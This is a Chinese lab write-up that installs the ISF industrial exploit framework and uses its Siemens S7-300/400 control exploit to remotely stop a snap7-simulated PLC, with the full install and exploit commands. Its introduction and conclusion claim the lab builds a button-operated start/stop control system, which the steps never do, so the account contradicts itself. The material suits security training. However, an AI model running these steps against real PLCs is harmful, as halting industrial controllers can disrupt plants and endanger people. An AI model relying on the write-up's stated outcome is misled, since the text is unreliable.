工业互联网安全-西门子S7-300启停

目录

什么是西门子S7-300启停

一、实验目的：

二、实验步骤：

三、总结：

---

什么是西门子S7-300启停

西门子S7-300是西门子公司生产的一款模块化可编程逻辑控制器（PLC）产品系列。它用于自动化控制系统中，用于控制和监视机械、过程和工厂设备的运行。S7-300具有灵活的扩展性和强大的功能，可适用于各种不同规模和类型的应用。

"启停"在PLC中是一种常见的控制功能。它指的是控制设备或机器的开启和关闭操作。例如，当按下一个启动按钮时，PLC可以接收到该信号并执行一系列的程序指令，以使设备开始运行；而当按下停止按钮时，PLC则会停止设备的运行。

在S7-300中，启停可以通过编写适当的程序实现。通过配置输入输出模块，将启动和停止按钮连接到适当的输入端口。然后，您可以使用编程软件（如STEP 7）编写逻辑程序，使PLC能够识别输入信号并采取相应的控制动作来控制设备的启停。这些控制动作可以通过输出模块操作设备的电源线路或其他相关控制元件来实现。

总之，西门子S7-300启停是指使用S7-300系列PLC实现对设备或机器的控制，通过适当的输入信号和编写的程序，实现设备的启动和停止功能。

一、实验目的：

通过使用西门子S7-300 PLC，实现一个简单的启停控制系统。

二、实验步骤：

1.安装Vmware workstaion和Kali linux等软件，配置虚拟环境

2.kali中安装工控漏洞利用框架 ISF

（1）在kali终端中使用命令：

git clone https://github.com/dark-lbp/isf/

（2）输入:

cd isf

（3）输入:

python2 isf.py

（4）这时有可能会报错：缺少nmap模块，方法：

A.克隆下载nmap模块的包

git clone https://github.com/johanlundberg/python-nmap

B.进入文件夹使用命令：

ls  #查看有无python-nmap文件夹
cd python-nmap   #进入python-nmap文件夹
ls  #查看有无setup.py文件夹
python2 setup.py install  #下载

C.进入python2中import nmap发现没有报错了,使用exit()退出

python2
import nmap
exit()

D.继续执行 python2 isf.py命令进行安装

cd ../
python2 isf.py

3.使用snap7模拟PLC设备,解压压缩包，打开 \rich-demos\x86_64-win64\bin路径

(1).用ipconfig查看本机ip，也即物理机IP，填写到serverdemo.exe中

(2)在serverdemo.exe界面先点击start启动server

(3)可以查看到serverdemo.exe下面日志就显示serverstarted

(4)clientdemo.exe界面上填写上物理机ip

(5)clientdemo.exe界面上点击connect连接

(6)这时继续查看server的日志，显示client已经added（serverdemo.exe）

4.打开ISF后，输入：

use exploits/plcs/siemens/s7_300_400_plc_control

5.show options;set target 物理机IP

show options
set target 10.92.33.221  #物理机ip

6.

run

这里显示停止plc,同时查看serverdemo.exe模拟器中的输出,可以发现已经停止STOPOK

经过测试，我们成功地实现了一个简单的启停控制系统。当按下启动按钮时，PLC能够接收到输入信号并执行相应的控制动作，使设备开始运行；当按下停止按钮时，PLC能够立即停止设备的运行。

三、总结：

通过这个实验，我们了解了如何使用西门子S7-300 PLC来实现启停控制功能。这种控制系统可以应用于各种设备和机器上，提高了自动化控制的效率和稳定性。同时，实验也展示了PLC编程的重要性和灵活性，使我们能够根据不同的需求编写适合的控制程序。